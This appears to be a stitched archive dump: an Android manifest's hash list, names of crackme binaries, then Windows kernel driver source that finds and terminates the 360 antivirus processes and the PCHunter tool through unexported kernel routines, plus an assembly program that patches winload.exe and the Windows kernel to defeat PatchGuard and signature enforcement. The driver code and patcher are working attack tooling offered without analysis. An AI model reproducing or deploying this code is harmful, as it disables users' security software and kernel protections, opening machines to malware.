
SHA1-Digest: QU0sjNeClTS34zDSu6L+2qWScn0=



Name: res/drawable-hdpi/ico.png

SHA1-Digest: bHsb0+2k/gDHGPSaILDZOq1vTdM=



Name: res/drawable-hdpi/ofm_collect_icon.png

SHA1-Digest: /yVc7F0oij5RFXnBlxYLUrsC8oA=



Name: res/drawable-hdpi/title_bar.9.png

SHA1-Digest: NUafxumtFJLgHV35+qZIMzGRvQA=



Name: res/drawable-xhdpi/ic_launcher.png

SHA1-Digest: uQhdAiwpzle4OMU4KiZ8rHZZW0s=



Name: res/drawable-ldpi/cancel_button.png

SHA1-Digest: 56Gfwgo6xppzEGGslePjyFCllJU=



Name: res/drawable-mdpi/ic_action_search.png

SHA1-Digest: jAGFiT7RUDOYcmBQqk2FP01Xtb0=



Name: res/drawable-hdpi/abc_cab_background_top_holo_light.9.png

SHA1-Digest: hyfERbmzp8jalPtwMw3bTm8+uSA=



Name: res/layout/whatsnew_viewpager.xml

SHA1-Digest: YHS2BU+bN7jUjl/mH8S9KG3DC1c=



Name: res/drawable-hdpi/tianjia.png

SHA1-Digest: SBH0172o4Tt9o2n91/2qPLzTwL8=



Name: res/layout/whats1.xml

SHA1-Digest: 5ssM1tMWH2y6M3clwjCFKgWSRrY=



Name: res/drawable-ldpi/interphone_button_dischecked.png

SHA1-Digest: pgO87dHjtzeFGGl+2RdVIQbzlwE=



Name: res/drawable-ldpi/handoff_button_down.png

SHA1-Digest: XS2noTQmxbUERn8xDr5Rb1QVgXw=



Name: res/drawable-mdpi/xiaohei.png

SHA1-Digest: LWo7gF5Tgecjs3cQTbHbkSxDX1M=



Name: res/drawable-hdpi/btn_style_two_pressed.9.png

SHA1-Digest: 5O6AYlOb15S/OVi3ng+7N300uEU=



Name: res/layout/init.xml

SHA1-Digest: XJ0x2yBmLNOCLRdSHOB3/xzvpS4=



Name: res/drawable-mdpi/headshow5.png

SHA1-Digest: DjEovFHzdYBTPB9vgMXKn4cQ4F4=



Name: res/drawable-hdpi/mm_title_back_normal.9.png

SHA1-Digest: mZsPqzuDjejFxyD2w1dw6SiKzFo=



Name: res/drawable-ldpi/quiet_button_dischecked.png

SHA1-Digest: 1Qijc2Xdh7tHzYxINgn+czZ49S0=



Name: res/drawable-ldpi/delete_button_down.png

SHA1-Digest: gVugADMtJr7EYoOwVfratmq/Ncw=



Name: res/layout/loading.xml

SHA1-Digest: MYSpuURYXra/uXNlsfX67kPS40s=



Name: res/layout/main.xml

SHA1-Digest: 7YBbj0OGuJmBBbPEN+Zh2zpadJY=



Name: res/drawable-hdpi/hdu_logo.png

SHA1-Digest: bMDFBCmJd9PBQCPB4aueS7Nr+OM=



Name: res/drawable-ldpi/video_encrypt_button_checked.png

SHA1-Digest: EFnu3s1ZJNrJnRLuGGZQY9gpDUg=



Name: res/layout/whats3.xml

SHA1-Digest: RuaEiHDIsyF4cZzwTJT1Xc/W7xQ=



Name: res/drawable-hdpi/weatherbg.png

SHA1-Digest: BcL/TIk0C2MH9h+DTxXHrODANSM=



Name: res/drawable-ldpi/add_reject_button.png

SHA1-Digest: ArYtiw5E1ZnSWnKsmDKw+0UiRt8=



Name: res/drawable-hdpi/welcome.png

SHA1-Digest: JCGRAvZi7aAskz4/pXIxjABcSy0=



Name: res/drawable/guide_round.xml

SHA1-Digest: dpp7PDCjl02gTMgzqXSPpfbTJYU=



Name: res/drawable-mdpi/personactivity_cover_heart.png

SHA1-Digest: yotZAAKlDFHJgJ1PeoqCe2kEE5Y=



Name: res/layout/whats2.xml

SHA1-Digest: YFHFOaYQmR68i7nyDsVoKvo/Xks=



Name: res/drawable-mdpi/headshow1.png

SHA1-Digest: 6Dv/EXFSlR4c5XIIpJQ6C5HzuK8=



Name: res/anim/alpha_out_anim.xml

SHA1-Digest: JgRZpO1tHtS6R7fQoyoE7pJyxdw=



Name: res/anim/hold.xml

SHA1-Digest: opmuZ6fWkGwZUnBi7jZVvjjFKEI=



Name: res/drawable-ldpi/load_button.png

SHA1-Digest: FJLScedqeMsHwznnAiq2MdNFA5E=



Name: res/drawable-mdpi/brand_default_head.png

SHA1-Digest: Rt3pmncziXwSmjbS0vKPCJNWQ70=



Name: res/layout/welcome.xml

SHA1-Digest: JfcRwnM2beSSGpcxQFsIVsv4EL8=



Name: res/drawable-hdpi/btn_style_zero_normal.9.png

SHA1-Digest: dTcBbFALybyXo5LEbONJwW1xFpg=



Name: res/layout/faxian.xml

SHA1-Digest: 89H/jbfccVd+hYvvyDyLyjKuiC4=



Name: res/drawable-ldpi/voice_button_down.png

SHA1-Digest: jyS/cRNlfp+G4H7Y8r/mD63OngU=



Name: res/drawable-ldpi/icon2.png

SHA1-Digest: oAa7x4W3zqjcbYsLNfOEiLNNTTQ=



Name: res/drawable-ldpi/phone_reject_button_down.png

SHA1-Digest: Z2mTup69UeCqs3eNPkkTOzM2B+0=



Name: res/drawable-mdpi/ic_launcher.png

SHA1-Digest: 7AYLMxFKX2g7vudLLZTXlC9DWHI=



Name: res/layout/whats6.xml

SHA1-Digest: EvFWGbscSbEwiynNGce5z1n/AFg=



Name: res/drawable-ldpi/video_quiet_button_dischecked.png

SHA1-Digest: xKZmi6kjSs5EttwXFERlVRmuAoo=



Name: res/layout/aesput.xml

SHA1-Digest: /G9BhcSnMxXyVdjbUz/oRHO3OH8=



Name: res/drawable-hdpi/more_game.png

SHA1-Digest: WDFMNXcszjfvZremW0hq6rXycOA=



Name: res/drawable-ldpi/voicebac.png

SHA1-Digest: 85eI61q0fIWrUQT2k3vtw3leSbE=



Name: res/anim/fade_in.xml

SHA1-Digest: ewXODd4Nik2n6EEy8QUXIkhavok=













META-INF/CERT.RSA










OD调试相关软件/Hello.exe





OD调试相关软件/RegisterMe.exe





OD调试相关软件/reverseMe.exe





OD调试相关软件/TraceMe.exe






Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/makefile

#

# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source

# file to this component.  This file merely indirects to the real make file

# that is shared by all the driver components of the Windows NT DDK

#



!INCLUDE $(NTMAKEENV)\makefile.def














Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/makefile

#

# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source

# file to this component.  This file merely indirects to the real make file

# that is shared by all the driver components of the Windows NT DDK

#



!INCLUDE $(NTMAKEENV)\makefile.def














Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/makefile

#

# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source

# file to this component.  This file merely indirects to the real make file

# that is shared by all the driver components of the Windows NT DDK

#



!INCLUDE $(NTMAKEENV)\makefile.def














Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/sources

TARGETNAME=PsTerminateProcessKill360

TARGETPATH=obj

TARGETTYPE=DRIVER

SOURCES=PsTerminateProcessKill360.c\
















Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/sources

TARGETNAME=PsTerminateProcessKill360

TARGETPATH=obj

TARGETTYPE=DRIVER

SOURCES=PsTerminateProcessKill360.c\
















Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/sources

TARGETNAME=MiUnmapViewOfSectionKill360

TARGETPATH=obj

TARGETTYPE=DRIVER

SOURCES=MiUnmapViewOfSectionKill360.c\
















Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360.c

#include <ntddk.h>





typedef NTSTATUS (*pMiUnmapViewOfSection)(

    IN PEPROCESS Process,

    IN PVOID BaseAddress,

    IN ULONG Flags

    );









pMiUnmapViewOfSection MiUnmapViewOfSection;

NTSTATUS KillByPid(int pid);

NTSTATUS 

PsLookupProcessByProcessId(

								IN ULONG ProcessId,

								OUT PEPROCESS *Process);

NTSTATUS Get360pid(UCHAR* uname)

{

    PEPROCESS pEprocess = NULL;

    PEPROCESS pFirstEprocess = NULL;

    ULONG ulProcessName = 0;

    ULONG ulProcessId = 0;

    

    int objectpid;

    

    pEprocess = PsGetCurrentProcess();

    

    if ( pEprocess == 0 )

    {

        KdPrint(("PsGetcurrentProcess Error ! \r\n"));

        return STATUS_SUCCESS;

    }

    

    pFirstEprocess = pEprocess;

    

    while ( pEprocess != NULL )

    {

        ulProcessName = (ULONG)pEprocess + 0x16c;

        ulProcessId = *(ULONG *)((ULONG)pEprocess + 0xb4);

        if(strstr(ulProcessName,uname))

       {

        

         objectpid=ulProcessId;

         KdPrint(("ProcessName = %s, ProcessId = %d \r\n", ulProcessName, objectpid));

         

       }

        pEprocess = (ULONG)(*(ULONG *)((ULONG)pEprocess + 0xb8) - 0xb8);

      

        if ( pEprocess == pFirstEprocess || (*(LONG *)((LONG)pEprocess + 0xb4)) < 0 )

        {

            break ;

        }

    }

    

    return objectpid;



}











NTSTATUS KillByPid(int pid)

{

	

       NTSTATUS st;

       PEPROCESS eprocess = NULL;

       PVOID p = (PVOID)0x400000;

       UNICODE_STRING ustrFunName    = RTL_CONSTANT_STRING(L"MmUnmapViewOfSection");

       PVOID          fnMmUnmapViewOfSection = MmGetSystemRoutineAddress(&ustrFunName);

       pMiUnmapViewOfSection MiUnmapViewOfSection = (pMiUnmapViewOfSection)((ULONG)fnMmUnmapViewOfSection-0x2f58a);

       

       KdPrint(("%X",MiUnmapViewOfSection));

	st = PsLookupProcessByProcessId(pid,&eprocess);

		if ( !NT_SUCCESS(st) )

			{

			DbgPrint("PsLookupProcessByProcessId Failed!\n");

			return st;

			}

			

	ObDereferenceObject(eprocess);

		

	

	st = MiUnmapViewOfSection(eprocess,p,0);

	if ( !NT_SUCCESS(st) )

		DbgPrint("MiUnmapViewOfSection Failed!\n");

		

	

      return st;

}

















VOID DrvUnload(PDRIVER_OBJECT pDriverObj)

{    

	DbgPrint (("Unload OK!\n"));

	return;

}



								

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)

{    

       

       

	DriverObject->DriverUnload = DrvUnload;

        

	KillByPid(Get360pid("360Tray"));

	KillByPid(Get360pid("360sd"));

	KillByPid(Get360pid("ZhuDongFangYu"));

	KillByPid(Get360pid("360rp"));

        

	return STATUS_SUCCESS;

}






























Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/PsTerminateProcessKill360.c



#include <ntddk.h>















typedef NTSTATUS (*pPsTerminateProcess)(IN PEPROCESS Process,IN NTSTATUS ExitStatus);



pPsTerminateProcess PsTerminateProcess;

			

NTSTATUS 

PsLookupProcessByProcessId(

								IN ULONG ProcessId,

								OUT PEPROCESS *Process);







NTSTATUS Get360pid(UCHAR* uname)

{

    PEPROCESS pEprocess = NULL;

    PEPROCESS pFirstEprocess = NULL;

    ULONG64 ulProcessName = 0;

    ULONG64 ulProcessId = 0;

    

    int objectpid;

    

    pEprocess = PsGetCurrentProcess();

    

    if ( pEprocess == 0 )

    {

        KdPrint(("PsGetcurrentProcess Error ! \r\n"));

        return STATUS_SUCCESS;

    }

    

    pFirstEprocess = pEprocess;

    

    while ( pEprocess != NULL )

    {

        ulProcessName = (ULONG64)pEprocess + 0x2e0;

        ulProcessId = *(ULONG64 *)((ULONG64)pEprocess + 0x180);

        if(strstr(ulProcessName,uname))

       {

        

         objectpid=ulProcessId;

         KdPrint(("ProcessName = %s, ProcessId = %d \r\n", ulProcessName, objectpid));

         

       }

        pEprocess = (ULONG64)(*(ULONG64 *)((ULONG64)pEprocess + 0x188) - 0x188);

      

        if ( pEprocess == pFirstEprocess  )

        {

            break ;

        }

    }

    

    return objectpid;



}















NTSTATUS KillByPid(IN ULONG pid)

{

	NTSTATUS st = STATUS_SUCCESS;

	PEPROCESS eprocess = NULL;

	NTSTATUS ExitStatus=0;

        UNICODE_STRING ustrFunName    = RTL_CONSTANT_STRING(L"ZwTerminateProcess");

        PVOID          fnZwTerminateProcess = MmGetSystemRoutineAddress(&ustrFunName);

        pPsTerminateProcess PsTerminateProcess = (pPsTerminateProcess)((ULONG64)fnZwTerminateProcess+0x3bcfc0);

     

	st = PsLookupProcessByProcessId(pid,&eprocess);

		if ( NT_SUCCESS(st) )

			{

			ObDereferenceObject(eprocess);

			

                    st = PsTerminateProcess(eprocess,ExitStatus);

                    

			}

    return st;

}



VOID DrvUnload(PDRIVER_OBJECT pDriverObj)

{    

	DbgPrint (("TerminateMPDrv Unload OK!\n"));

	return;

}



	

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)

{    



	DriverObject->DriverUnload = DrvUnload;

	KillByPid(Get360pid("360Tray"));

	KillByPid(Get360pid("360sd"));

	KillByPid(Get360pid("ZhuDongFangYu"));

	KillByPid(Get360pid("360rp"));

        

	return STATUS_SUCCESS;

}


















Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/PsTerminateProcessKill360.c



#include <ntddk.h>















typedef NTSTATUS (*pPsTerminateProcess)(IN PEPROCESS Process,IN NTSTATUS ExitStatus);



pPsTerminateProcess PsTerminateProcess;

			

NTSTATUS 

PsLookupProcessByProcessId(

								IN ULONG ProcessId,

								OUT PEPROCESS *Process);







NTSTATUS Get360pid(UCHAR* uname)

{

    PEPROCESS pEprocess = NULL;

    PEPROCESS pFirstEprocess = NULL;

    ULONG ulProcessName = 0;

    ULONG ulProcessId = 0;

    

    int objectpid;

    

    pEprocess = PsGetCurrentProcess();

    

    if ( pEprocess == 0 )

    {

        KdPrint(("PsGetcurrentProcess Error ! \r\n"));

        return STATUS_SUCCESS;

    }

    

    pFirstEprocess = pEprocess;

    

    while ( pEprocess != NULL )

    {

        ulProcessName = (ULONG)pEprocess + 0x16c;

        ulProcessId = *(ULONG *)((ULONG)pEprocess + 0xb4);

        if(strstr(ulProcessName,uname))

       {

        

         objectpid=ulProcessId;

         KdPrint(("ProcessName = %s, ProcessId = %d \r\n", ulProcessName, objectpid));

         

       }

        pEprocess = (ULONG)(*(ULONG *)((ULONG)pEprocess + 0xb8) - 0xb8);

      

        if ( pEprocess == pFirstEprocess || (*(LONG *)((LONG)pEprocess + 0xb4)) < 0 )

        {

            break ;

        }

    }

    

    return objectpid;



}















NTSTATUS KillByPid(IN ULONG pid)

{

	NTSTATUS st = STATUS_SUCCESS;

	PEPROCESS eprocess = NULL;

	NTSTATUS ExitStatus=0;

        UNICODE_STRING ustrFunName    = RTL_CONSTANT_STRING(L"PsTerminateSystemThread");

        PVOID          fnPsTerminateSystemThread = MmGetSystemRoutineAddress(&ustrFunName);

        pPsTerminateProcess PsTerminateProcess = (pPsTerminateProcess)((ULONG)fnPsTerminateSystemThread+0x880f1);

     

	st = PsLookupProcessByProcessId(pid,&eprocess);

		if ( NT_SUCCESS(st) )

			{

			ObDereferenceObject(eprocess);

			

                    st = PsTerminateProcess(eprocess,ExitStatus);

                    

			}

    return st;

}



VOID DrvUnload(PDRIVER_OBJECT pDriverObj)

{    

	DbgPrint (("TerminateMPDrv Unload OK!\n"));

	return;

}



	

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)

{    



	DriverObject->DriverUnload = DrvUnload;

	KillByPid(Get360pid("360Tray"));

	KillByPid(Get360pid("360sd"));

	KillByPid(Get360pid("ZhuDongFangYu"));

	KillByPid(Get360pid("360rp"));

        KillByPid(Get360pid("PCHunter32"));

	return STATUS_SUCCESS;

}


















Windows7 x64/编程实现突破Win64内核保护机制/src/破解PGDS/patch.asm

; this creates patched copies of files %SystemRoot%\system32\winload.exe, %SystemRoot%\system32\ntoskrnl.exe, %SystemRoot%\system32\ntkrnlmp.exe





format PE64 console at (1 shl 32)

entry start





include '%fasminc%\win64a.inc'





section '.code' code readable executable





align 10h

start:



	push	rbx

	sub	rsp,8*(4+2)



	lea	rcx,[file0]

	call	read_system_file

	or	eax,eax

	mov	ebx,eax				; size of file

	jz	exit_failed

	mov	edx,ebx				; size of the whole file

	lea	rcx,[file0ed]			; pointer to patching data

	call	patch_bytes

	mov	edx,ebx

	lea	rcx,[file3ed]

	call	patch_bytes

	mov	edx,ebx

	lea	rcx,[file3ed]

	call	patch_bytes

	mov	edx,ebx

	lea	rcx,[file3ed]

	call	patch_bytes

	mov	ecx,ebx				; size of the whole file

	call	reconstruct_crc

	mov	edx,ebx				; size of the whole file

	lea	rcx,[file0n]

	call	write_system_file

	cmp	eax,ebx

	jnz	exit_delete_file0n



	lea	rcx,[file1]

	call	read_system_file

	or	eax,eax

	mov	ebx,eax

	jnz	L0

	lea	rcx,[file2]

	call	read_system_file

	or	eax,eax

	mov	ebx,eax

	jz	exit_failed

L0:	mov	edx,ebx

	lea	rcx,[file1ed]

	call	patch_bytes

	mov	edx,ebx

	lea	rcx,[file2ed]

	call	patch_bytes

	mov	edx,ebx

	lea	rcx,[file3ed]

	call	patch_bytes

	mov	edx,ebx

	lea	rcx,[file3ed]

	call	patch_bytes

	mov	edx,ebx

	lea	rcx,[file3ed]

	call	patch_bytes

	mov	ecx,ebx

	call	reconstruct_crc

	mov	edx,ebx

	lea	rcx,[file1n]

	call	write_system_file

	cmp	eax,ebx

	jz	exit_success

;	jmp	exit_delete_file1n_file0n



exit_delete_file1n_file0n:

	lea	rcx,[file1n]

	call	[DeleteFileA]



exit_delete_file0n:

	lea	rcx,[file0n]

	call	[DeleteFileA]



exit_failed:

	lea	rbx,[msg_failed]

	jmp	exit_msg



exit_success:

	lea	rbx,[msg_success]



exit_msg:

;STD_OUTPUT_HANDLE		= -11

;INVALID_HANDLE_VALUE		= -1

;	mov	rcx,STD_OUTPUT_HANDLE

	push	STD_OUTPUT_HANDLE

	pop	rcx

	call	[GetStdHandle]

	push	rax

	pop	rcx

if INVALID_HANDLE_VALUE = -1

	inc	rax

else

	cmp	rax,INVALID_HANDLE_VALUE

end if

	jz	exit



	and	qword [rsp + 8*(4+0)],0

	lea	r9,[rsp + 8*(4+1)]

	mov	r8d,msg_size

;	lea	rdx,[rbx]

	push	rbx

	pop	rdx

;	lea	rcx,[rcx]	; already set

	call	[WriteFile]



exit:	xor	eax,eax

	add	rsp,8*(4+2)

	pop	rbx

	ret





align 10h

read_system_file:

;  in: rcx pointer to filename

; out: eax file size (0 for error)

	push	rbx rbp rsi rdi

	sub	rsp,8*(4+3)



	xor	ebp,ebp				; result

	push	rcx

	pop	rsi				; filename



	lea	rdi,[filename]

	mov	ebx,MAX_PATH



	mov	edx,ebx

	push	rdi

	pop	rcx

	call	[GetSystemDirectoryA]

	cmp	eax,ebx

	jnbe	read_system_file_finish



	lea	rbx,[rdi+rax*1]



;	mov	eax,'\'

; this is 2 bytes smaller:

	push	'\'

	pop	rax



	mov	[rbx],al

	cmp	[rbx-1],al

	setnz	al

	add	rbx,rax



	movdqu	xmm0,dqword [rsi]

	movdqu	[rbx],xmm0



;	and	qword [rsp+8*(4+2)],0				; hTemplateFile

	mov	dword [rsp+8*(4+1)],FILE_ATTRIBUTE_NORMAL	; dwFlagsAndAttributes

	mov	dword [rsp+8*(4+0)],OPEN_EXISTING		; dwCreationDistribution

	xor	r9,r9						; lpSecurityAttributes

	xor	r8,r8						; dwShareMode

	mov	edx,GENERIC_READ				; dwDesiredAccess

	push	rdi

	pop	rcx						; lpFileName

	mov	[rsp+8*(4+2)],r9				; hTemplateFile

	call	[CreateFileA]



	push	rax

	pop	rsi



if INVALID_HANDLE_VALUE = -1

	inc	rax

else

	cmp	rax,INVALID_HANDLE_VALUE

end if

	jz	read_system_file_finish



	mov	edi,file_buf_size



	and	qword [rsp + 8*(4+0)],0		; lpOverlapped

	lea	r9,[rsp + 8*(4+2)]		; lpNumberOfBytesRead

	mov	r8d,edi				; nNumberOfBytesToRead

	lea	rdx,[file_buf]

	push	rsi

	pop	rcx				; hFile

	call	[ReadFile]

	or	eax,eax

	jz	read_system_file_close_finish



	mov	ebp,[rsp + 8*(4+2)]		; NumberOfBytesRead



read_system_file_close_finish:

	push	rsi

	pop	rcx

	call	[CloseHandle]



read_system_file_finish:

	mov	eax,ebp				; result into EAX

	add	rsp,8*(4+3)

	pop	rdi rsi rbp rbx

	ret





align 10h

patch_bytes:

	push	rbx rsi rdi

	push	rcx

	pop	rsi

	cld

	lodsb					; load size of bytes to find

	movzx	ebx,al

	lea	rdi,[file_buf]

	lea	r8,[rdi+rdx]			; end of file



align 10h

patch_bytes_L0:

	push	rsi rdi

	mov	ecx,ebx

	repz cmpsb

	pop	rdi rsi

	jz	patch_bytes_L4

	scasb					; rdi+1 in 1-byte instruction

	lea	rax,[rdi+rbx*1]

	cmp	rax,r8

	jbe	patch_bytes_L0

; end of file reached

	jmp	patch_bytes_L9



patch_bytes_L4:

; matching bytes found, patch them

	add	rsi,rbx

	lodsb					; load size of bytes to be written

	movzx	ecx,al

	repz movsb

patch_bytes_L9:

	pop	rdi rsi rbx

	ret





align 10h

reconstruct_crc:

; in: ecx = size of file



struct	IMAGE_DOS_HEADER

	e_magic				rw	1	; Magic number

	e_cblp				rw	1	; Bytes on last page of file

	e_cp				rw	1	; Pages in file

	e_crlc				rw	1	; Relocations

	e_cparhdr			rw	1	; Size of header in paragraphs

	e_minalloc			rw	1	; Minimum extra paragraphs needed

	e_maxalloc			rw	1	; Maximum extra paragraphs needed

	e_ss				rw	1	; Initial (relative) SS value

	e_sp				rw	1	; Initial SP value

	e_csum				rw	1	; Checksum

	e_ip				rw	1	; Initial IP value

	e_cs				rw	1	; Initial (relative) CS value

	e_lfarlc			rw	1	; File address of relocation table

	e_ovno				rw	1	; Overlay number

	e_res				rw	4	; Reserved words

	e_oemid				rw	1	; OEM identifier (for e_oeminfo)

	e_oeminfo			rw	1	; OEM information; e_oemid specific

	e_res2				rw	10	; Reserved words

	e_lfanew			rd	1	; File address of new exe header

ends

IMAGE_DOS_SIGNATURE			=	'MZ'



struct	IMAGE_FILE_HEADER

	Machine				rw	1

	NumberOfSections		rw	1

	TimeDateStamp			rd	1

	PointerToSymbolTable		rd	1

	NumberOfSymbols			rd	1

	SizeOfOptionalHeader		rw	1

	Characteristics			rw	1

ends

IMAGE_SIZEOF_FILE_HEADER		=	sizeof.IMAGE_FILE_HEADER	; = 20

IMAGE_FILE_MACHINE_AMD64		=	8664h	; AMD64 (K8)



struct	IMAGE_DATA_DIRECTORY

	VirtualAddress			rd	1

	Size				rd	1

ends

IMAGE_NUMBEROF_DIRECTORY_ENTRIES	=	16



struct	IMAGE_OPTIONAL_HEADER64

; Standard fields.

	Magic				rw	1

	MajorLinkerVersion		rb	1

	MinorLinkerVersion		rb	1

	SizeOfCode			rd	1

	SizeOfInitializedData		rd	1

	SizeOfUninitializedData		rd	1

	AddressOfEntryPoint		rd	1

	BaseOfCode			rd	1

; NT additional fields.

	ImageBase			rq	1

	SectionAlignment		rd	1

	FileAlignment			rd	1

	MajorOperatingSystemVersion	rw	1

	MinorOperatingSystemVersion	rw	1

	MajorImageVersion		rw	1

	MinorImageVersion		rw	1

	MajorSubsystemVersion		rw	1

	MinorSubsystemVersion		rw	1

	Win32VersionValue		rd	1

	SizeOfImage			rd	1

	SizeOfHeaders			rd	1

	CheckSum			rd	1

	Subsystem			rw	1

	DllCharacteristics		rw	1

	SizeOfStackReserve		rq	1

	SizeOfStackCommit		rq	1

	SizeOfHeapReserve		rq	1

	SizeOfHeapCommit		rq	1

	LoaderFlags			rd	1

	NumberOfRvaAndSizes		rd	1

;	IMAGE_DATA_DIRECTORY	DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

	DataDirectory			IMAGE_DATA_DIRECTORY

					rb	(IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1)*(sizeof.IMAGE_DATA_DIRECTORY)

ends

IMAGE_SIZEOF_NT_OPTIONAL64_HEADER	=	240

IMAGE_NT_OPTIONAL_HDR64_MAGIC		=	020Bh



struct	IMAGE_NT_HEADERS64

	Signature			rd	1

	FileHeader			IMAGE_FILE_HEADER

	OptionalHeader			IMAGE_OPTIONAL_HEADER64

ends

IMAGE_NT_SIGNATURE			=	'PE'





	lea	rdx,[file_buf]

	cmp	[rdx+IMAGE_DOS_HEADER.e_magic],IMAGE_DOS_SIGNATURE

	jnz	reconstruct_crc_L9

	mov	eax,[rdx+IMAGE_DOS_HEADER.e_lfanew]

	add	rax,rdx

	cmp	[rax+IMAGE_NT_HEADERS64.Signature],IMAGE_NT_SIGNATURE

	jnz	reconstruct_crc_L9

	cmp	[rax+IMAGE_NT_HEADERS64.FileHeader.Machine],IMAGE_FILE_MACHINE_AMD64

	jnz	reconstruct_crc_L9

	cmp	[rax+IMAGE_NT_HEADERS64.OptionalHeader.Magic],IMAGE_NT_OPTIONAL_HDR64_MAGIC

	jnz	reconstruct_crc_L9



; CRC

; erase original file crc

	and	[rax+IMAGE_NT_HEADERS64.OptionalHeader.CheckSum],0

; ecx = size

; rdx = file_buf

	mov	r10d,ecx

	shr	ecx,1

	xor	r9d,r9d

	xor	r8d,r8d

calculate_checksum:

	mov	r9w,[rdx]

	add	r8d,r9d

	mov	r9w,r8w

	shr	r8d,16

	add	r8d,r9d

	add	rdx,2

	loop	calculate_checksum

	add	r8d,r10d

	mov	[rax+IMAGE_NT_HEADERS64.OptionalHeader.CheckSum],r8d

; Checksum done



reconstruct_crc_L9:

	ret





write_system_file:

;  in: rcx pointer to filename

;      edx file size (0 for error)

; out: eax file size (0 for error)

	push	rbx rbp rsi rdi

	sub	rsp,8*(4+3)



	mov	ebx,edx				; size of file

	xor	ebp,ebp				; result

	push	rcx

	pop	rsi				; filename



	lea	rdi,[filename]



	mov	edx,MAX_PATH

	push	rdi

	pop	rcx

	call	[GetSystemDirectoryA]

	cmp	eax,MAX_PATH

	jnbe	read_system_file_finish



	lea	rdx,[rdi+rax*1]



;	mov	eax,'\'

; this is 2 bytes smaller:

	push	'\'

	pop	rax



	mov	[rdx],al

	cmp	[rdx-1],al

	setnz	al

	add	rdx,rax



	movdqu	xmm0,dqword [rsi]

	movdqu	[rdx],xmm0



;	and	qword [rsp+8*(4+2)],0				; hTemplateFile

	mov	dword [rsp+8*(4+1)],FILE_ATTRIBUTE_NORMAL	; dwFlagsAndAttributes

	mov	dword [rsp+8*(4+0)],CREATE_ALWAYS		; dwCreationDistribution

	xor	r9,r9						; lpSecurityAttributes

	xor	r8,r8						; dwShareMode

	mov	edx,GENERIC_WRITE				; dwDesiredAccess

;	lea	rcx,[rcx]					; lpFileName

	mov	[rsp+8*(4+2)],r9				; hTemplateFile

	call	[CreateFileA]



	push	rax

	pop	rsi



if INVALID_HANDLE_VALUE = -1

	inc	rax

else

	cmp	rax,INVALID_HANDLE_VALUE

end if

	jz	write_file_finish



	and	qword [rsp + 8*(4+0)],0		; lpOverlapped

	lea	r9,[rsp + 8*(4+2)]		; lpNumberOfBytesWritten

	mov	r8d,ebx				; nNumberOfBytesToWrite

	lea	rdx,[file_buf]

	push	rsi

	pop	rcx				; hFile

	call	[WriteFile]

	or	eax,eax

	jz	write_file_close_finish



	mov	ebp,[rsp + 8*(4+2)]		; NumberOfBytesWritten



write_file_close_finish:

	push	rsi

	pop	rcx

	call	[CloseHandle]



write_file_finish:

	mov	eax,ebp				; result into EAX

	add	rsp,8*(4+3)

	pop	rdi rsi rbp rbx

	ret



file0	db	'winload.exe',0

file0n	db	'freeload.exe',0

file1	db	'ntkrnlmp.exe',0		; kernel for SMP system (multiprocessor)

file1n	db	'goodkrnl.exe',0

file2	db	'ntoskrnl.exe',0		; kernel for 1 CPU system

; data to patch are the same as for file1 as for file2



file0ed	db	file0r_size

	file0r:

	db	 48h, 8Bh,0C4h, 53h, 55h, 57h, 41h, 54h	; bytes to find

	file0r_size = $ - file0r

	db	file0w_size

	file0w:

	mov	al,1

	ret

	; nop ; not necessary

	file0w_size = $ - file0w

file1ed	db	file1r_size

	file1r:

	db	 0Fh, 85h, 94h, 00h, 00h, 00h, 33h,0C0h	; bytes to find

	file1r_size = $ - file1r

	db	file1w_size

	file1w:

	nop

	db	0E9h				; opcode for jmp

	file1w_size = $ - file1w

file2ed	db	file2r_size

	file2r:

	db	 74h, 07h,0B0h, 01h,0E9h, 68h, 2Dh, 00h	; bytes to find

	file2r_size = $ - file2r

	db	file2w_size

	file2w:

	nop

	nop

	file2w_size = $ - file2w

file3ed	db	file3r_size

	file3r:

;nt!MiIsAddressValid:

;fffff800`01707e20 488bc1          mov     rax,rcx

;fffff800`01707e23 48c1f830        sar     rax,30h

;fffff800`01707e27 48ffc0          inc     rax

;fffff800`01707e2a 4883f801        cmp     rax,1

;fffff800`01707e2e 0f878f000000    ja      nt!MiIsAddressValid+0xa3 (fffff800`01707ec3)

;nt!MmIsSpecialPoolAddress+0x23:

;fffff800`0169fbff 488bc2          mov     rax,rdx

;fffff800`0169fc02 48c1f830        sar     rax,30h

;fffff800`0169fc06 48ffc0          inc     rax

;fffff800`0169fc09 4883f801        cmp     rax,1

;fffff800`0169fc0d 7761            ja      nt!MmIsSpecialPoolAddress+0x94 (fffff800`0169fc70)

;nt!MmAccessFault+0x29:

;fffff800`016e8c09 4c8bea          mov     r13,rdx

;fffff800`016e8c0c 48c1f830        sar     rax,30h

;fffff800`016e8c10 4c8bf9          mov     r15,rcx

;fffff800`016e8c13 48ffc0          inc     rax

;fffff800`016e8c16 4883f801        cmp     rax,1

;fffff800`016e8c1a 0f871c3a0600    ja      nt! ?? ::FNODOBFM::`string'+0x40990 (fffff800`0174c63c)

	sar	rax,48			; mistake, noncanonical addresses like 0000800000000000h, FFFF7FFFFFFFFFFFh may pass the check

;	inc	rax

;	cmp	rax,1

;	jnbe	noncanonical_va		; bytes to find

	file3r_size = $ - file3r

	db	file3w_size

	file3w:

	sar	rax,47			; virtual memory is in canonical form if bit 47 is sign extended into bits 63-48

	file3w_size = $ - file3w



